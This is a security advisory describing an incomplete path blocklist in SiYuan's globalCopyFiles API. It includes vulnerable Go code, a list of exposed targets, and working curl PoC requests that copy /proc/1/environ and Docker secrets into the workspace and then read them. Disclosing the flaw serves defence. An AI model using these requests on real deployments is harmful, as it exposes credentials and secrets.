GHSA-h5vh-m7fg-w5h6 SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260313024916-fd6526133bb3 (no fix yet)

Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. Details File: kernel/api/file.go - function globalCopyFiles ```go for i, src := range srcs { absSrc, _ := filepath.Abs(src) if util.IsSensitivePath(absSrc) { return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for _, src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace } ``` IsSensitivePath blocklist (kernel/util/path.go): ```go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."} ``` Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens | PoC Environment: ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` Exploit: ```bash TOKEN="YOUR_ADMIN_TOKEN" curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}' curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n' ``` Docker secrets: ```bash curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}' ``` Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.